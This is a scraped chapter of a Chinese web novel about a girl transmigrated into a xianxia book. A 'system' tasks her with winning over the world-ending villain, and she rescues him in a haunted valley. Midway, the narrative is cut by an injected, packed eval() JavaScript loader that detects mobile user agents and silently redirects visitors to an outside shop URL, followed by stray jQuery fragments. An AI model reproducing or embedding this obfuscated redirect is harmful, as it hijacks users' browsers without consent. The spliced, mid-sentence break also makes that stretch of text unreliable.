文趣网 > 其他小说 > 穿书后攻略了灭世反派 > 1. 惊鸿
    万丈幽谷,阴风凛冽。

    煞气沉凝不散,透着一股刺骨的森然。

    一袭柳色衣衫的少女孑然行于其中,碎玉般的霜华裹着朔风,簌簌咂落,转瞬覆满她的肩头衣袂,凉意透过衣料渗进皮肤,激得她打了个寒颤。

    “……真冷啊。”她拢了拢衣襟,不由撇嘴,“破地方,半点灵气没有,全是阴气。”

    她才穿书来到这个修仙界,原主修为浅薄,连护体灵光都维系不住。

    在这修仙界中,但凡修士略具修为,便可引灵力覆于周身,隔绝风雪霜寒,本不该受这般冻馁之苦,可她偏偏做不到,修为实在是差得跟凡人没有区别。

    若非如此,原主也不至于被人算计掉入幽谷,没有挣扎自救的余地,顷刻殒命。

    原主死后,沈莺时便穿来这具身躯中。

    说起来,她也倒霉得很,原本好好待在家里,偏下个楼梯不慎踩空,人没了。

    沈莺时心里哭笑不得,不禁感慨,生命也太不禁造了。

    再次睁眼,她已然置身陌生之地。

    脑海里响起系统的提示音:

    [宿主你好,你已穿入女频仙侠小说《扶微录》,你需要完成下发的任务,攻略反派,拯救世界,成功后即可返回原世界。]

    [任务一:攻略书中高危反派魏琢雪,获取好感值,好感值满值100,达到50,视为成功。]

    [任务二:阻止反派灭世,降低黑化值,跨越最终宿命灭世节点,保全世界。]

    沈莺时默默消化接收的信息,好半晌她才问:“可以拒绝吗?”

    攻略反派什么的,她自认为不太能胜任。

    下个楼都能摔死,就她这点本事,别到时候任务没完成,反倒先把自己搭进去了。

    [滴滴滴——]

    [不能哦,已锁定宿主,完成任务才能走。]

    沈莺时垮下小脸,闷闷道:“那你告诉我,关于魏琢雪的一切。”

    方才沉默的间隙里,她全盘接收了原主的记忆,翻遍脑海所有过往,关于这位反派,半点相关讯息都没有。

    原主常年深居遥洲仙迹,这回难得出一趟门,跟随师兄师姐出来历练,不承想惨遭暗算,殒命在此。

    [好的宿主,稍等……]

    [反派魏琢雪自幼命途多舛,经年困顿将他心性磋磨得扭曲,行事阴戾不定,在一次行恶过后,被正派中人追杀逼入幽谷,为白月光女主扶微所救,自此心生爱慕,偏女主一心只爱男主,对反派屡屡相拒。]

    [万人审判大会上,女主立场与反派对立,击碎了他心底仅存的一点希冀。反派就此彻底黑化,掀起漫天腥风血雨,屠戮万千生灵,天下几乎尽数覆灭,茫茫世间,最后只余下女主一人。]

    沈莺时瞪大眼睛,啧啧称奇:“不是,杀得只剩个书名了?”

    [是的宿主,所以需要你扭转乾坤,改变原著结局。]

    “你为什么选定我来做这个任务?”她不解。

    系统的机械音陡然变了调,开始忽悠:[我看宿主骨骼清奇,乃是万中无一的天选之人。]

    沈莺时呵呵两声:“说点我能听懂的。”

    [实话跟你说吧,你比较倒霉,我们在检索绑定宿主的时候,恰好捕捉到你刚死去的魂魄,就把你拉过来了。]系统不再硬吹,老实坦白。

    沈莺时:“……”

    她快要自闭了。

    什么天选之人,原来不过是赶巧撞上的倒霉蛋。

    少女深吸一口气,压下想暴揍系统的冲动,“反派的底细呢,譬如他的身世来历,经历过什么,又为什么会变成那样?”

    系统:[没了。]

    沈莺时眉心一蹙:“你再说一遍?”

    [原著对反派的描写就这两段。]

    “番外没有交代吗?”

    系统否认:[没有。]

    “烂、烂尾?什么作者,一点都不负责任,我要给他寄刀片!”沈莺时愤愤,穿书就穿书吧,她认了,连关键信息都不给全。

    差评,大大的差评。

    [宿主稍安勿躁,我可以检索并收集这个世界关于他的所有信息。]

    “那你弄吧。”沈莺时随口应了声,就把注意力收回来。

    现在的主要任务是,找到魏琢雪。

    她穿书抵达的时间点,正是原著反派被追杀掉入谷中,与女主相遇的关口。

    她只要提前救下他,借此避开两人宿命邂逅,就能减少一道加速他灭世的诱因。

    这个时间点,反派已经黑化了。

    至于为什么不是穿到他黑化之前,那得归功于天杀的系统出了纰漏,传送误了时辰。

    说来巧合,魏琢雪身陷此地,她也不幸坠落,系统探查到他的气息就在附近,好似冥冥之中自有安排。

    沈莺时思绪一收,只能一边在心里骂系统不靠谱,一边硬着头皮往前走,害怕归害怕,脚下却不敢停,早点找到人,离了这瘆人的地方。

    越往谷底深处去,阴风愈烈,如万鬼哭嚎,震得人耳膜生疼。

    呼啸风声忽止的刹那,一缕低沉而嘶哑的兽吼隐隐传来,满是令人神魂战栗的威压。

    沈莺时脚步一顿,脊背窜起一股寒意,心道这谷底,果然不止阴气那么简单。

    [宿主,反派就在前方,快去救他!]系统焦急大叫。

    “知道你急,但你先别急,请回答我,一则我修为浅,二则没有护身法器,我该怎么救人?”少女摊手,关于救人这个事,她也很无奈呀。

    系统被一噎,好半天抠抠搜搜道:[我借你离火符,记住这是借的,以后要还。]

    嗷,账户积分-1000。

    心疼得要滴血。

    沈莺时点头,“知道了。”

    才不还呢。

    把她绑来做任务还这么抠搜。

    话音落下,她的掌心多了一张火红的符纸。

    沈莺时握紧符纸,心下惴惴,咬牙前行。

    她刚绕过一处岩壁,便觉地面微微震颤,抬眼望去,瞧见一头通体青黑的獠牙兽追逐着一名少年,利爪刨起碎石,正朝着她的方向疾掠而来。

    风雪纷乱间,两道目光猝然交汇。

    “离火符,去!”沈莺时在系统的指导下,将符箓甩了出去,符纸在半空燃起红光,撞向獠牙兽,红色的火焰把它困住,燃烧。

    还不赖,有点用。

    眼见少年奔至近前,沈莺时正欲迎向他,可下一瞬,他身形猛地一歪,再也支撑不住,径直重重摔倒在地。

    少女黛眉微蹙,快步上前,屈膝蹲下身,轻声唤他:“喂,你没事吧,还能起来吗?”

    没有反应。

    “……魏琢雪。”她试探性喊他的名字。

    依旧没反应,看来是晕过去了。

    沈莺时把他的身子翻过来,终于看清了他的脸。

    少年肤色极白,近乎透明,在那身染血衣袍的映衬下,更显脆弱。

    他紧闭着双目,睫毛又长又密,在眼下投出一片浅淡的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964234|214428||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阴影,往下是挺直的鼻梁,唇色淡得几乎要与肤色融为一体。

    血迹从他额角顺着颧骨往下滑,在苍白的皮肤上格外刺目,可即便如此,那张脸依然好看到让人挪不开眼,是一种哪怕沾满灰尘也藏不住的漂亮。

    沈莺时愣了一下才回过神,欣赏归欣赏,她不能误了正事。

    她咬咬牙,把人从地上扶起来,半拖半架拐过岩壁,将人搁在大石块后靠着,尽量避开发狂的獠牙兽视线。

    沈莺时喘了两口气,才在心里发问:“系统,我们现在怎么出去?”

    系统支支吾吾的声音响起:[当前检索中……]

    [建议宿主往西南方向移动,距离最近的出口约二十公里。]

    “二十公里?”沈莺时牙关在打颤,只觉得两眼一黑。

    “给我一张能移动的符。”她毫不客气,直接伸手就要,逮着系统使劲薅。

    [没了没了,宿主,你要获取好感值,自己挣积分,线上商城有兑换。]系统捂紧自己的账户,快要跌到负数了。

    沈莺时冷哼:“说你抠还真没冤枉你。”

    系统装死不吱声。

    少女低头思忖对策,恰在这时,头顶传来一道清朗的男声:“师妹!”

    她循声抬头,一艘巨大的飞船穿过雾层朝她靠近,甲板上站着一青衣男子,衣袍猎猎,她眯眼看了好一会儿,才认出来是原主的师兄,游俞。

    而男子旁边还站着另一位少女,那人她也认得,害她掉下幽谷的罪魁祸首。

    对方显然也看见沈莺时,目光躲闪,脸色白了大半,连手指都紧张得攥紧身侧的衣料。

    大概是没想到她命这么大了,从万丈高空坠下还能安然无恙。

    沈莺时嘴角扯了下,不急着跟她计较,等出去了,再慢慢算这笔账。

    船身太大,无法在这片谷底降落,上面的人御剑而下。

    游俞几乎是在剑光还没完全收住的时候就跳了下来,视线在柳衣少女身上快速扫了一遍:“师妹,你怎样?伤着没有?”

    云景枝躲在男子身后,怯怯问候:“师姐。”

    沈莺时“嗯”了声,淡淡摇头:“我没事,回去再说。”

    “师兄,帮我搭把手,扶他。”

    游俞这才注意到师妹肩上还靠着一名少年,嗓音微微一沉:“此人是谁?”

    沈莺时脸不红心不跳:“不知道,我捡的。”

    游俞一时间有些凌乱。

    师妹出来历练,分离的短短时辰,她捡了个身份不明的少年不说,还称是她的人。

    沈莺时自顾自站了起来,但那少年比她沉得多,压得她脚步一晃,幸好游俞眼疾手快扶了一把,她得以稳住身形。

    男子没有多问,带着两人御剑返回了飞船。

    沈莺时刚踩上甲板,眼前一阵天旋地转,整个人毫无征兆倒了下去,只模模糊糊听见耳边一阵慌乱的声响。

    “师妹!”

    “师妹!”

    “……”

    意识回笼,沈莺时发现自己躺在一张雕花玉榻上,鲛绡纱帐层层垂落,将床榻围出一方私密天地。

    满室幽香,似兰非兰,沁人心脾。

    她侧过头,屋内陈设极其精巧,南海红珊瑚垒作山子,鲛珠夜光贝铺满妆台,最醒目的,是墙角随意堆倚的法器,灵气氤氲,宝光闪闪,跟不要钱似的当装饰品摆着。

    这是她的房间。

    沈莺时撑起身子,掀开锦被,脚尖还未触地,门外便传来一道男声。